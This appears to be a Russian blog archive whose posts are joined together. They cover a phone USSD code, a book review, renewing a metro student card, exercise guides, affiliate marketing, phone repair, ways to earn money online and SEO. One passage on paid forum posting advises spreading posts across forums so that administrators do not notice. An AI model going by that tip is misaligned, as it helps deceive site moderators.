Разумеется, захотелось сначала выставить русский. На родном то приятнее всего читать!

Вот что вышло:

Ясное дело — не получилось 🙁

Пришлось набрать *111*6*2#, вот что вышло:

 Ура! Получилось! Теперь, хотя бы читабельно!

На всякий случай, проверю, как будет работать *111# :

 Вот и «починили» 🙂

На самом деле, это касается не только Iphon’ов, но и других телефонов.

Сегодня шел с работы и наткнулся на забавный принт, который очень хорошо демонстрирует, насколько сильно мемы с интернета начали влиять на оффлайновую жизнь:

На связи был Atamovich,
успехов! 

Буквально позавчера прочитал великолепную книгу «Самый богатый человек в Вавилоне» Джорджа Клейсона. Книга настолько понравилась, что решил поделиться с Вами! Это скорее не книга, а сборник маленьких притч, я люблю притчи.

В «Самом богатом человеке» раскрываются аспекты успешности человека, рассматриваются невероятные ситуации, в которых побывали герои книги. Кстати, героев  очень много, ведь каждая притча с новым героем. Насколько я смог понять, цель книги – донести до читателя основные законы богатства, законы денег, правила обогащения. Книга раскрывает суть денег, так сказать «базу». Самое интересно, что все эти законы и правила работают и по сей день!

Не буду тут пересказывать содержание книги, поскольку лучше автора все равно не смогу высказаться 😉 Поэтому рекомендую прочитать книгу от начала до конца, тем более, что ее можно прочитать за пару часов.

Мне очень понравилась одна из последних притча «Счастливчик из Вавилона». А вам?

Кстати, Вавилон имеет очень интересную историю, о которой рассказывается в предпоследней главе. Рекомендую.

Ссылки на скачивание размещать не буду, книгу можно легко найти в интернете в любом формате!

Александр Лощев

Итак, обычно ситуация развивается по такому сценарию:

• Вы купили БСК;
• Вы поменяли паспорт;
• БСК заблокировали;
• Вы едите в офис метрополитена, стоите в очереди, показываете новые паспортные данные;
• Вам наконец-таки продлевают проездной.

Кому хочется мотаться туда-сюда? Правильно, никому:)

На самом деле все гораздо проще. БСК перестает действовать, если ваш ВУЗ передал  метрополитену новые паспортные данные, а метрополитен «закрыл» старые данные (что-то вроде – ты уже не студент). Следовательно, у метрополитена уже есть новые данные, нужно только сказать им, что ты на самом деле поменял паспорт.

Оказывается, достаточно всего лишь позвонить, и тебе заменят старые данные на новые и БСК станет работать в течении нескольких минут (точнее его после этих минут можно будет продлевать).

Номер телефона *барабанная дробь* 610-06-94.

Звоните, говорите «Здравствуйте, у меня перестала работать студенческая карта БСК, так как я недавно меня паспорт». Спросят фамилию, имя и ВУЗ вроде бы.

А чтобы в принципе оформить БСК вам необходимо:

• Вписать свои паспортные данные на получение БСК в профкоме (по крайней мере, у нас так);
• Подождать недельки две (точное время должны сказать в профкоме);
• Взять студенческий билет и паспорт;
• Отправиться к метро «Приморская» по адресу ул. Одоевского, 29 (Вход с набережной реки Смоленки, от выхода налево, мимо входа в метро, под арку и налево вдоль здания, войти и на 1 этаже справа от входа.);
• На месте сфотографироваться и оформить карточку (насколько помню, она сразу начинает действовать).

Кстати, на телефон 610-06-94 можно звонить и не только с продлением БСК, но и по другим метро-деламJ

На десерт держите Ушастого Ёжика:

Подтягивание — базовое упражнение для мышц спины. Какие виды подтягиваний существуют, по какой схеме заниматься и каков мировой рекорд по подтягиванию?

Многочисленные упражнения для укрепления мышц спины можно заменить одним, невероятно эффективным — это подтягивания. Подтягиваться может каждый, и для этого нет нужды посещать спортзал; достаточно дойти до ближайшего школьного двора или спортивной площадки — там наверняка есть турник, и не один. Турник можно соорудить и дома, а, варьируя положение рук и ширину хвата, вы сможете акцентировано прорабатывать те или иные мышцы рук и спины, к тому же, это упражнение позволяет, фактически, полностью снять нагрузку с позвоночника, а это очень важно для силовых тренировок.

Техника

Классический вариант — это прямой хват на ширине плеч. Выполняя подтягивание на турнике, старайтесь избегать резких движений — плавно подтягивайтесь и столь же плавно опускайтесь вниз. Следите за тем, чтобы в верхней точке вы касались перекладины верхней частью груди, а в нижней полностью распрямляли руки. Избегайте раскачивания тела и рывков, не стремитесь выполнить упражнение в ураганном темпе и помните о дыхании — на вдохе вы должны опускаться, на выдохе — подтягиваться.

Подтягивания: какие мышцы работают?

Максимальная нагрузка при подтягивании ложится на широчайшие мышцы спины, однако, при этом хорошо прорабатываются и иные группы — ромбовидные мышцы, трапеции, подостные и круглые, зубчатые мышцы спины, сгибатели предплечья. Двуглавые (бицепс) мышцы при подтягивании тоже задействованы — классический хват растягивает их пучки, а узкий обратный — нагружает и способствует росту.

(Скачать/просмотреть в полном размере)

Варианты подтягиваний

1. Подтягивания широким хватом к груди. При данном варианте выполнения упражнения вы максимально широко располагаете ладони, а в верхней точки стараетесь коснуться перекладины верхней частью груди. При этом для правильного выполнения упражнения можно немного прогнуться в поясничном отделе позвоночника. Обращаем ваше внимание на то, что не стоит сразу стремиться к слишком широкому хвату, ибо сие чревато травмой плечевых суставов.

Данный вид способствует повышению нагрузки на верхние отделы мышцы спины, то есть, на верхние пучки широчайшей мышцы, на подостные, круглые мышцы, а также трапециевидные.

2. Подтягивания широким хватом за голову. Непростой вариант, высок риск травмы плечевых суставов, посему — выполняйте его лишь в том случае, если уверены в своих силах, а лучше замените этот вид на предыдущий, ибо и в обоих вариантах работают одни и те же группы мышц.

3. Узкий обратный хват. По технике исполнения этот вид можно смело назвать полной противоположностью предыдущего. Сей вариант можно смело назвать базовым для прокачки мышц спины — он прост с технической точки зрения и позволяет исключительно точно перенести нагрузку на широчайшие мышцы спины, небольшую часть работы выполняют и бицепсы. При этом практически не работают сгибатели предплечья, что позволит комфортно подтягиваться тем, у кого проблемы с этими группами мышц.

В свои тренировки вы можете включить и такие виды подтягивания — хват средний обратный, хват прямой узкий, частичные подтягивания обратным хватом.

(Скачать/просмотреть в полном размере)

Схемы тренировок

Существует огромное количество схем, предполагающие различное количество подходов. Какая схема подтягиваний подойдет вам — решайте сами, мы лишь обозначим направления, в которых стоит осуществлять свой поиск оптимальной программы.

Довольно широко распространена схема, предполагающая использование пяти-шести подходов с уменьшающейся нагрузкой. Максимальное количество повторений вы выполняете в первые два подхода, после чего плавно уменьшаете количество повторений на единицу в каждом из оставшихся трех-четырех подходов. Своего рода «обратная лестница». В этой схеме есть одно слабое место — сложно выполнить максимальное количество подтягиваний в первом подходе, необходимы еще и разогревающие сеты из 2-3 повторений.

По мнению автора этого материала, для развития выносливости мышц куда интереснее схема, рассчитанная на большое число подходов. Сначала для разминки вы выполняете «прямую лестницу» от одного до восьми с малыми интервалами между подходами (1-2 минуты), после чего позволяете себе небольшой отдых (4-5 минут) и переходите к основной части, выполняя максимальное количество подтягиваний в трех подходах. На завершающем этапе — два-три подхода по 5-7 повторений. По такой схеме реально подтянуться от 100 до 150 раз за тренировку, что, согласитесь, достойный результат.

В принципе, это два принципиально отличающихся подхода. Первая схема подтягиваний на турнике направлена скорее на увеличение силы, вторая — выносливости.

Подтягивание на турнике — программа для настойчивых и упорных

Как стать сильнее, как увеличить подтягивания за короткий срок? К сожалению, честный ответ на этот вопрос звучит неутешительно для новичков — никак! Вы должны очень много тренироваться, 3-5 раз в неделю, до седьмого пота, пока руки не будут соскальзывать с перекладины. Тогда через год вы сможете легко и непринужденно «взлетать» над перекладиной 10 раз, 15, а кто-то — 20 или даже 25 раз.

Интересный факт. Мировой рекорд по подтягиванию — 844 раза, а установил его 46-летний красноярский трудяга Николай Каклимов. Его домашний рекорд — 855 подтягиваний, а предыдущее достижение установил британец Стивену Айленд, который подтянулся в 2007 году 812 раз.

Красивый пресс является отличной визитной карточкой. Как быстро накачать пресс в домашних условиях, какие упражнения нужно выполнять в спортзале?

 Впереди лето — прекрасная пора, когда солнце и пляж приходят на смену унылым будням. В этот период все любители подобного досуга начинают уделять особое внимание своему внешнему виду, ведь на пляже вашу самооценку уже не сможет поднять модель смартфона, который покоится в кармане рюкзака. Теперь тело становится вашей визитной карточкой, и именно на него обращают внимание окружающие. Тут же вспоминаются дни, которые прошли впустую, за чревоугодием и праздным просмотром телевизора, и многие начинают жалеть о том, что не использовали это время для того, чтобы накачать пресс в домашних условиях и привести себя в порядок перед сезоном отпусков.

 Как накачать пресс дома?

Единственное, что вам для этого нужно — это сила воли и твердое желание сделать свое тело привлекательнее и сексуальнее. Заниматься сутки на пролет нет нужды — достаточно посвятить мышцам передней брюшной стенки 15-20 минут в день. Как накачать пресс девушке? Достаточно освоить первые пять упражнений из предлагаемого ниже комплекса, и красивое тело вам гарантировано. Да, накачать пресс за месяц вам вряд ли удастся, но через 3-4 месяца регулярных тренировок вы получите очень заметный и, главное, стойкий результат.

1. Базовое упражнение — подъем туловища. Исходное положение — лежа на спине, руки — за головой, ноги можно зафиксировать, а можно согнуть в коленях. Поднимаем туловище до вертикального положения, в одном подходе выполняем максимум повторений, делаем три подхода.
2. Для того, чтобы накачать нижний пресс, отлично подходит следующее упражнение — лежа на спине поднимаем выпрямленные в коленях ноги в вертикальное положение. Выполняем три подхода по тридцать раз.
   Принято выделять верхний и нижний отделы брюшного пресса. Для того, чтобы сместить акцент на тот или иной отдел, нам необходимо модифицировать базовое упражнение.
3. Лежа на спине, сгибаем ноги в коленях, стопы — на полу. Приподнимаем верхнюю часть туловища, стараясь дотянуться руками до пяток (руки — вдоль тела). Амплитуда движений невысока, работаем преимущественно верхним отделом туловища, тем самым качаем верхний пресс.
4. Как накачать боковой пресс? Для этого вы можете несколько видоизменить предыдущее упражнение — поднимая туловище, старайтесь поочередно касаться пяток то правой, то левой рукой. Это заставит работать косые мышцы передней брюшной стенки.
5. Следующее упражнение, которое помогает накачать боковой пресс, требует некоторой базовой физической подготовки. Исходное положение — полулежа на боку, руки за головой, левая нога вытянута, правая — согнута в коленном суставе, ступня — на полу. В таком положении поднимаете туловище так высоко, как только сможете (амплитуда движений будет невелика). Когда вы научитесь выполнять данное упражнение правильно, вы почувствуете, как работают именно боковые отделы брюшной стенки.
6. Упражнение «с колесом» поможет накачать пресс мужчине, ибо девушкам, скорее всего, оно будет не под силу. Для выполнения этого упражнения вам понадобится простой гимнастический снаряд (колесо, не путать с обручем), который можно приобрести в любом спортивном магазине.

Исходное положение — стоим на коленях, руки упираются в рукоятку колеса. Опускаемся вперед, словно «отъезжая» на колесе, фиксируем себя в почти горизонтальном положении, после чего плавно возвращаемся в исходное положение. Невероятно эффективное упражнение, которое поможет проработать не только брюшной пресс, но заодно и мышцы рук, плечевого пояса и даже спины.

Как быстро накачать пресс? К сожалению, нельзя превратить воздух в золото, равно как и невозможно форсировать процесс развития мышц. Конечно, существуют гормональные препараты, которые позволяют добиться быстрого и ощутимого результата, но мы бы не советовали вам вставать на эту тропу. Залогом вашего успеха должны стать регулярные и систематические тренировки.

Как накачать мышцы пресса в спортзале?

Если у вас есть возможность и желание посещать спортзал, перед вами открываются дополнительные возможности для работы над своим телом. Именно в спортзале можно накачать пресс до кубиков при помощи отягощений, а благодаря тренажерам удастся максимально эффективно накачать пресс боковых отделов брюшной стенки.

1. Упражнение на скамье является одним из наиболее популярных. Вы ложитесь на наклонную скамью, фиксируете ноги и поднимаете туловище. Уровень наклона выбирайте самостоятельно. Чем он выше — тем больше нагрузка на нижние отделы, чем ниже — тем сильнее мы смещаем акцент на верхний пресс. Для повышения нагрузки можно брать в руки гантели и блины, добавляя в свой комплекс упражнение с отягощениями.
2. Как можно накачать пресс на фитболе? Тут вам доступно сразу несколько вариантов — можно «лечь» на шар, ноги на полу, и из такого положения поднимать туловище. Выполнение требует определенной сноровки и координации, отлично нагружает все передние отделы брюшного пресса. Если вы ляжете на бок, то сможете накачать боковой пресс, а зажав фитбол между ногами вы проработаете нижние отделы, поднимая ноги как во втором упражнении.
3. Последнее упражнение выполняется на верхнем блоке. Вы становитесь на колени на некотором расстоянии от тренажера, руками держите за головой канат и опускаетесь вниз, сжимаясь и округляя спину. Это упражнение позволяет быстро накачать кубики пресса, при условии, что вы правильно его выполняете.

UPD: Нашел классное видео, после прочтения статьи рекомендую посмотреть его для визуального закрепления информации:

[yframe url=’http://www.youtube.com/watch?v=CqnBke-iRHo’]

Понятие «интернет-маркетинг» достаточно новое, к тому же нет однозначного его определения. В целом — это сочетание различных видов интернет-деятельности, цель которых познакомить потенциального покупателя с информацией об услугах либо товарах, а затем мотивировать его к совершению покупки. Интернет-маркетинг подразумевает использование поискового продвижения сайтов, баннерной и контекстной рекламы, партнерского маркетинга и т.п.

Свою несомненную эффективность доказал такой метод, как партнерский маркетинг. В нем участвуют три категории людей: партнеры, рекламодатели и покупатели. Для успешной торговли рекламодателю необходимо продвигать в интернете товары и услуги. Для этого партнер совершает определенные действия, за которые он получает доход. Фактически, партнер получит вознаграждение за посещение клиентами нужного сайта, за покупку определенных товаров покупателями, за новых подписчиков и т.д.

Роль рекламодателя в партнерском маркетинге заключается в том, что он создает предложение товаров либо услуг, которое отвечает его потребностям, а затем привлекает для его продвижения партнера. Для того чтобы партнер мог продвигать продукт, определяется партнерская ссылка. Для каждого партнера она индивидуальна и создается после регистрации в партнерской программе.

Возможности данного вида интернет-бизнеса многогранны. Например, можно действовать таким образом: способствовать приобретению продвигаемого продукта покупателями, которые совершают покупку именно по вашей персональной ссылке. В этом случае доход зависит от того, какое количество покупателей воспользовалось вашей ссылкой для покупки товара или же посещения сайта. Это означает, что в интересах партнера размещать данную ссылку как можно в больших количествах на различных веб-ресурсах, что значительно увеличивает шансы на доход, хоть он может быть и не постоянным.

Во втором случае можно выстроить собственную партнерскую структуру, которая отличается большим постоянством дохода. Для этого активные партнеры (рефералы), которые зарегистрированы в этой партнерской структуре, совершают покупки, от размера которых начисляется комиссия. Если компания предлагает ежемесячную плату каких-либо услуг, то комиссионные будут начисляться от каждого взноса привлеченного клиента. Или же партнер может получать прибыль в виде процентов от продаж своих рефералов. Здесь действует принцип: чем больше партнеров в структуре, тем больше доход.

Конечно, возникает вопрос: а как найти рекламодателю и партнеру друг друга на просторах интернета? Для решения этой насущной проблемы возникли CPA сети (cost-per-action), которые представляют собой связующие звенья. Есть сайты, где собрано множество CPA сетей, поэтому можно выбрать тот вариант сотрудничества, который будет наверняка устраивать. Хотя для того чтобы получить доход, вполне можно выбрать лишь одну CPA сеть, так как в ней зарегистрированы множество рекламодателей, соответственно, их выбор весьма широк. При этом следует знать, как правильно выбрать такую сеть и извлечь максимальную прибыль. Для этого отличным советчиком станет сайт для успешных вебмастеров (http://www.profitspy.ru).

Кроме этого, участие в партнерских программах может осуществляться и в виде стратегии CPC (cost-per-click). Ее суть заключается в продвижении сайта при помощи пользовательского клика по нужному рекламному материалу, после которого происходит переход пользователя на продвигаемый сайт либо на целевую страницу. Сумма дохода зависит от щедрости рекламодателя, она может увеличиться, если клиент не только зашел на сайт, но и зарегистрировался, заполнил анкету, скачал предлагаемую программу и т.д. А если была совершена покупка, то вебмастер может получить процент от продажи.

Также партнерский маркетинг включает в себя и такой способ, как размещение на сайте партнера рекламы продвигаемого продукта. Здесь ставка делается на то, что этот баннер увидят все посетители данного сайта. Для того чтобы такая система принесла доход, следует максимально увеличить количество посетителей ресурса.

В результате работы системы партнерского маркетинга в выигрыше остаются все категории участников: и рекламодатели, и партнеры, и покупатели. Ведь достигается конечная цель – удобно и оперативно совершить покупку либо воспользоваться услугой (для покупателей), заработать, конечно, в зависимости от активности определенные суммы (для партнеров) и эффективно продвинуть свой товар либо услугу (для рекламодателей).

Отжимания на брусьях — на какие мышцы действует?

Отжимания на брусьях — это прежде всего упражнение для трицепса и грудных мышц, также работают дельтовидные мышцы (особенно передние их пучки) и широчайшие мышцы спины (в меньшей степени). В зависимости от того, как вы будете выполнять упражнение, вы сможете сместить акцент либо на большие грудные мышцы, либо на трехглавые мышцы плеча. Для этого достаточно ознакомиться с техникой выполнения.

Для увеличения нажмите на картинку

Простая техника отжимания на брусьях….

В начале занимаем исходное положение — упор на выпрямленных руках, ноги можно согнуть в коленях и перекрестить в области стоп. Плавно, сгибая руки в локтевых суставах, на вдохе опускаемся вниз, после чего также плавно на выдохе возвращаемся в исходное положение, при этом стараемся полностью разогнуть руки в локтевом суставе, но при этом избегаем чрезмерного разгибания.

… и множество нюансов при выполнении упражнения

Вы скажете — «все просто»! Так и есть, в первом приближении все действительно просто, но стоит перейти к нюансам, и тут же возникает масса вопросов. В каком положении должен быть корпус (прямо или в наклоне вперед), какой должна быть ширина брусьев, как разводить локти (назад или в стороны), насколько глубоко опускаться? Давайте же попробуем разобраться с этими и многими другими вопросами.

Как расположен корпус? Есть два варианта выполнения отжимания — с наклоном тела вперед и в максимально вертикальном положении. Первый вариант помогает нам прокачивать большие грудные мышцы. Для его правильного выполнения актуальным является сгибание ног в коленных суставах, так как это позволяет максимально глубоко наклонить тело вперед. Если же вы будете держаться вертикально с выпрямленными ногами, то предельно загрузите трицепс.

Положение рук. Казалось бы, какие тут могут быть варианты? Ан, нет! Варианты имеются — если вы разводите локти в стороны (примерно на 45 градусов), то смещаете акцент на грудные мышцы, если же держите локти максимально прижатыми к корпусу, то в гораздо большей степени нагружаете трицепс.

Ширина брусьев. Начинать нужно только на брусьях, ширина которых соответствует (чуть шире) ширине ваших плеч, ибо в случае с узкими брусьями вы полностью перенесете нагрузку на трицепс (плюс это неудобно), а излишне широкий хват чреват травмой плечевого сустава. Так что — начинаем с ширины плеч. Позже вы сможете перейти к разведенным брусьям, которые есть почти в каждом спортзале. На таких брусьях можно постепенно увеличивать ширину хвата, «перебираясь» от узкой части к широкой. Эффект понятен, а цель очевидна — чем шире хват, тем выше нагрузка на грудные мышцы.

Выполняйте правильно отжимания на брусьях, польза которых точно никак не ниже, чем оная от упражнений со штангой или работа на тренажерах. А на самом деле, эффект может превзойти все ваши ожидания!

Отжимания с отягощениями и схемы

Ваша первая задача — научиться правильно выполнять отжимания на брусьях, а вторая — грамотно включить их в свои тренировки. Тут важно, является ли отжимание отдельной тренировкой (например, вы специально для этого выходите на соседний школьный двор) или это лишь часть занятия в спортзале.

В первом случае вы можете посвятить отжиманию очень много времени — отлично подойдет схема отжимания на брусьях в виде «лесенки». Сначала выполняете разминочные подходы — от одного до семи-десяти повторений (зависит от вашей тренированности), затем три основных сета из 16-25 повторений, а далее один-два завершающих подхода по 7-12 раз. Конечно, схема требует немало времени, но зато она позволяет дать максимальную нагрузку, после которой ваши мышцы еще пару дней будут давать о себе знать приятной болью.

Если вы новичок и занимаетесь в спортзале, то с отжиманий на брусьях лучше начинать тренировку — упражнение требует консолидированной работы многих мышц, и после того, как вы «убьете» плечи, трицепс или грудь в процессе тренировки, выполнить отжимание грамотно будет очень непросто, да и риск травмы возрастет. Совершите несколько подходов по 8-10 повторений.

Обязательно наступит момент, когда вы слишком легко выполните сет на 16-20 повторений. Пора брать отягощения. Для этого пригодится специальный пояс, на который можно подвесить блин с нужным весом. Как выбрать вес? Вы точно не ошибетесь, если начнете с минимального веса и будете увеличивать его постепенно, исходя из того, что оптимальное количество повторений с отягощением в сете — от 6 до 8.

Отжимание с отягощениями прекрасно подходит для работы с грудными мышцами, так как благодаря дополнительному весу вам удается максимально наклонить туловище вперед.

Опытным «бойцам» могут понравиться такие схемы отжиманий на брусьях.

1. Форсированный сет. Этот вариант подходит тем, кто уже добрался до отягощений. Начинаете с максимального веса, выполняете пять сетов по пять повторений, после чего сбрасываете некоторое количество балласта и совершаете еще пять подходов. Наконец, оставляете минимальный вес и добиваете себя еще пятью сетами.

2. Негативный сет. Принцип — вместо того, чтобы отжиматься, вы крайне медленно (считаем до десяти) опускаетесь вниз, после чего пассивно (за счет ног) возвращаетесь в исходное положение и повторяете все с начала. Очень непростое упражнение, новичкам его не рекомендуем

3. Частичный сет. Выполняем лишь половину упражнения — сначала опускаемся не до конца и, пройдя лишь полпути вниз, возвращаемся в исходное положение. Потом наоборот — распрямляем руки лишь наполовину.

Очень часто поломка сопровождается потерей очень важной или просто дорогой сердцу информации: отчет по работе или фотография ребенка. Ремонт телефонов Nokia, Samsung, iPhone или HTC будет проводиться реже, если периодически выполнять над ними профилактические работы, к примеру, делать резервное копирование всех файлов. Резервное копирование позволить сохранить часть информации из телефона, даже если тот безвозвратно вышел из строя. Если есть старый телефон, то не нужно его спешить продавать, так как он всегда может пригодиться на замену сломанному новому.

Ремонт телефонов Санкт-Петербург чаще связан с их коррозией. Это происходит в результате попадания в телефон сырости, что довольно частое явление. Если телефон попал в жидкость или наоборот, то необходимо незамедлительно вытянуть из него аккумулятор, носители информации и сим-карту, после чего стоит сразу же обратиться в сервисный центр, чтобы устранить нежелательные последствия инцидента. В сервисном центре нужно честно признаться о попадании в телефон жидкости, так как «залитый» телефон нужно сразу реабилитировать.

Очень часто в сервисные центры обращаются с разбитыми экранами, треснутыми корпусами и отбитыми кнопками, что является результатом падения телефона. Чтобы предотвратить такие падения, лучше обзавестись мягким чехлом для телефона или поместить его в специальный пластиковый, противоударный чехол. А лучше не играть с телефоном в футбол или баскетбол, так как замена экрана весьма дорогое удовольствие, даже на недорогом телефоне. Бывают еще случаи, когда программное обеспечение телефона настолько повреждается вирусами, что оно полностью выходит из строя. Однако данную проблему можно решить простым способом – не устанавливать на телефон всевозможные «хаки» и «твики», что очень любят делать дети и подростки.

Отжимание — базовое упражнение для увеличения мышечной массы; как правильно отжиматься, какие группы мышц работают и как повысить эффективность упражнения?

Красивую фигуру мечтает иметь каждый, но вот работать до седьмого пота способны единицы, да и не все понимают, как именно тренировать свое тело. В этом материале мы расскажем вам, как правильно отжиматься, какие мышцы при этом вы сможете накачать и каких ошибок стоит избегать. Поведаем и о некоторых нюансах, связанных с этим силовым упражнением.

Режим тренировок

Чтобы добиться увеличения мышечной массы, тренировки необходимо чередовать с днями отдыха, значит, заниматься будем 3-4 раза в неделю. Во время тренировки избегаем предельных нагрузок, вместо этого выполняем большее число подходов. Количество повторений в одном подходе не должно превышать 80 % от максимальной посильной вам нагрузки. Иными словами, если вы можете отжаться 25 раз, сделайте три подхода по 20 повторений, а не два — по 25.

Техника отжимания от пола

Теперь познакомимся с элементарными принципами отжимания. Как правильно отжиматься от пола? Совет пригодится в первую очередь новичкам — следите за тем, чтобы все ваше тело, от пяток до макушки, было вытянуто в струну. Не совершайте двух самых распространенных ошибок — выгибание в поясничном отделе позвоночника (вниз) и торчащие вверх ягодицы. Ваше тело — одна прямая линия!

Упор делаем, разумеется на носки и ладони. Руки изначально располагаются на ширине плеч, пальцы «смотрят» вперед. Плавно опускаем тело на вдохе, пока грудь не коснется пола, и уверенно возвращаемся в исходное положение на выдохе. Количество повторений определяете исходя из своих физических возможностей.

Если вам трудно выполнить это упражнение, значит, вам только предстоит научиться отжиматься. Ничего страшного! Начинайте с простого — отжимайтесь от стены, отжимайтесь от скамейки, потом переходите к отжиманиям от пола с упором не на ступни, а на колени (голень при этом «смотрит» вверх).

Представительницам прекрасного пола тоже не стоит пренебрегать этим упражнением — оно поможет подтянуть грудь, укрепит плечевой пояс и избавит от лишних килограмм. Как правильно отжиматься девушкам? Если отжиматься от пола трудно, последуйте все тем же советам — отжимайтесь от скамейки, от гимнастического мяча, делайте упор на колени.

Польза от отжимания — какие мышцы работают?

Классическое отжимание нагружает три группы мышц — мышцы груди, дельтовидные мышцы (передние пучки) и трехглавые мышцы плеча (трицепс). Одновременно мы повышаем выносливость продольных мышц спины (особенно в поясничном отделе), мышц брюшного пресса и ног, но только если не забываем об основном принципе — тело наше должно быть вытянуто в струну!

Для увеличения нажмите на картинку

Вариации упражнения

Итак, вы освоили технику и научились отжиматься правильно — самое время идти дальне. Пора усложнить упражнение — различные вариации положения рук и ног позволят вам повысить эффективность своих тренировок.

1. Положение рук. Далеко не все в курсе, но то, на какой ширине вы ставите руки, влияет на распределение нагрузки между грудными мышцами и трицепсом. При классическом варианте нагрузка распределяется пропорционально, но чем шире вы расставляете ладони, тем интенсивнее работают мышцы груди. Максимально широкий упор позволяет наиболее эффективно проработать грудные мышцы.

Теперь попробуем выполнить упражнение, сдвинув руки — большие пальцы практически соприкасаются друг с другом. Нагрузка на мышцы груди сводится к минимуму, зато мы в полной мере задействовали трицепс! Так, просто раздвигая и сдвигая ладони, вы сначала качаете грудь, а потом — трицепс, получая в итоге максимальный эффект.

2. Отжимание на кулаках. Особый вид отжимания, при котором удается значительно укрепить мышцы кисти, особенно в районе большого пальца, да и фаланги пальцев станут намного прочнее, а это пригодится тем, кто занимается единоборствами.

Как правильно отжиматься на кулаках? Во-первых, начните на мягкой поверхности, например, на тренировочном коврике, дабы в первый же день не «сбить руки в кровь», а во-вторых, старайтесь, чтобы упор шел на фаланги 2-го и 3-го пальцев, а не на весь кулак. В остальном правила выполнения и принципы расположения рук остаются прежние.

Из других видов «альтернативного» выполнения упражнения назовем отжимание на ребре ладони и на пальцах (даже на одном). Все эти вариации помогают укрепить мышцы кистей рук, но тем, кто хочет просто улучшить фигуру и подкачать мышцы, не стоит усложнять себе жизнь — опирайтесь на ладони.

3. Положение ног. В классическом варианте отжимания мы равномерно нагружали все отделы грудных мышц. Что произойдет, если мы поднимем ноги? Это положение позволит нам проработать верхние пучки мышц груди, если же мы поднимем верхнюю часть туловища (например, отжимаясь от гантелей), то максимально задействуем нижние отделы грудных мышц.

Даже профессионалы не пренебрегают этим упражнением. Научитесь выполнять его правильно, и через несколько месяцев регулярных тренировок вы увидите в зеркале первые результаты, а через полгода их заметят и ваши друзья. Помните, ваши правила — это последовательность и постепенность, а девиз — дорогу осилит идущий!

Итак, как заработать в интернете?

Первый вариант, это ввод текста с картинки(по другому, ввод капчи). Данный способ заработка доступен каждому Интернет-пользователю. Ведь работа очень проста. Вам нужно расшифровать текст с картинки и ввести его в специальное окно. За каждый правильно введенный текст вы получите оплату. Денег много заработать не удастся. Но первые свои доллары вывести получится. Такой метод рекомендую только для «проверки» реальности получения денег в инетренте.

Заработок на форумах с оплатой за сообщения. Данный вид заработка более прибыльный. За одно написанное сообщение можно получить несколько центов. Поэтому свой первый доллар можно заработать за один вечер. Только не пытайтесь сразу написать много сообщений на одном форуме. Иначе администрация найдет любую причину, чтобы запретить вам дальнейшую деятельность на сайте. Поэтому зарегистрируйтесь сразу на нескольких форумах и пишите посты по очереди на каждом из них. Так ваша активность будет незаметна. И вы сможете заработать много денег таким способом. Главное, к делу подходить с умом и писать нормальные сообщения, тогда все будет хорошо.

Заработок на биржах копирайтинга. Очень доходный вид работы. От вас потребуется лишь желание работать и хорошее знание русского языка (или английского, смотря на чем писать будете). Работа заключается в написании текстов. Тематика статей самая разнообразная. Если вы напишите сами текст, то это будет копирайт. Если перепишите уже готовую статью своими словами так, чтобы текст был уникальным, это будет рерайт. Копирайт стоит дороже, чем рерайт. Но для написания копирайта нужно разбираться в какой-то теме очень хорошо. Сколько можно заработать? Одна статья может стоить несколько долларов. В день вы можете написать несколько текстов. Все зависит от вашего желания работать и зарабатывать деньги. Также старайтесь писать грамотно. Текст с ошибками у вас никто не купит.

В Интернете можно зарабатывать деньги. И не малые. От вас нужно только желание. Не ленитесь. И тогда вы сможете добиться поставленных целей.

Заработок на сайте я не стал рассматривать, так как это уже совсем другая история:)

Заработок в Интернете представляет собой собирательное, объёмное, многогранное понятие. Данный вид заработка является совокупностью различного рода видов ведения хозяйственной деятельности, а также деловой (бизнес) активности в границах глобальной сети Интернет. Каждый вид заработка обладает своей собственной определенной спецификой, а также тем или иным кругом возможностей. Становясь неотъемлемой частью повседневной жизни, Интернет превращается широкое поле для заработка, ведения собственного бизнеса и построения рентабельной хозяйственной деятельности.

Тут ты узнаешь, как заработать в Интернете. В данной статье мы постараемся обозначить наиболее значимые направления заработка в Интернете.

К числу наиболее распространенных в настоящее время видов заработка в Интернете относятся:

1. Ведение хозяйственной деятельности в сети;
2. Купля-продажа тех или иных продуктов авторского права;
3. Хозяйственная деятельность Интернет-магазинов;
4. Поисковая оптимизация и разработка сайтов;
5. Реклама в Интернете;
6. Партнерская программа;
7. Иные виды деятельности направленные на получение определенного рода заработка.

Данный перечень не является исчерпывающим. В настоящее время, с развитием возможностей сети Интернет, растет и количество возможных видов заработка в глобальной сети.

Следует сразу оговориться, что данная публикация будет посвящена только легальным видам заработка в мировой паутине. Тут только реальные методы заработка в Интернете. В данной статье мы обозначим основные направления заработка в сети.

Поисковая оптимизация (сео-оптимизация), как один из видов заработка в Интернете

Поисковая оптимизация представляет собой комплекс мер, направленный на поднятие позиций того или иного сайта в результатах выдачи различного рода поисковых систем на основе определенных запросов пользователей. По общему правилу, чем выше позиции определенного сайта в результатах выдачи поисках систем (Google, yahoo), тем выше количество заинтересованных лиц переходит на него со страниц той или иной поисковой системы.

В настоящее время выделяют следующие методы поисковой оптимизации (условное деление):

1. Белая поисковая оптимизация;
2. Серая поисковая оптимизация;
3. Черная поисковая оптимизация.

Различного рода попытки манипулирования результатами выдачи поисковых систем запрещены лицензионными соглашениями большинства поисковых систем. Белая поисковая оптимизация пользуются в своей деятельности подобного рода рекомендациями и стараются не выходить за границы легальных действий. В то время, как черные оптимизаторы обычно подобными рекомендациями пренебрегают. «Серая» поисковая оптимизация пользуется такими приемами, как чрезмерное насыщение текста ключевыми словами, в ущерб читабельности текста. Другим примером, серой является использование дорвеев без редиректа.

Серая поисковая оптимизация, в отличие от чёрной, не является официально запрещенной, однако её использование также зачастую может расцениваться, как один из видов неестественного завышения уровня популярности сайта.

Эффективностью такого рапорта является полный список ошибок и предложения изменений на стороне оптимизатора. SEO аудит сайта можно выполнить самостоятельно, пользуясь различными онлайн сервисами, как напр. woorank.com, где выполняя полный СЕО анализ, у вас будет еще очень много хороших инструментов, для полноценной проверки вашего интернет портала.

Для того, чтобы страница попала в выдачу поисковой системы и уверенно там себя чувствовала, необходимо, чтобы ее тошнота находилась в определенных пределах. Если плотность ключевых слов будет слишком большой или слишком маленькой, то могут возникнуть определенные проблемы с продвижением. Рассмотрим эти два случая подробнее.

Вариант №1. Слишком низкая тошнота текста. В этом случае поисковая система может «решить», что слова использовались в тексте эпизодически и статья не подходит к данному запросу. В этом случае, страница не попадет в выдачу или будет ранжироваться на последних местах.

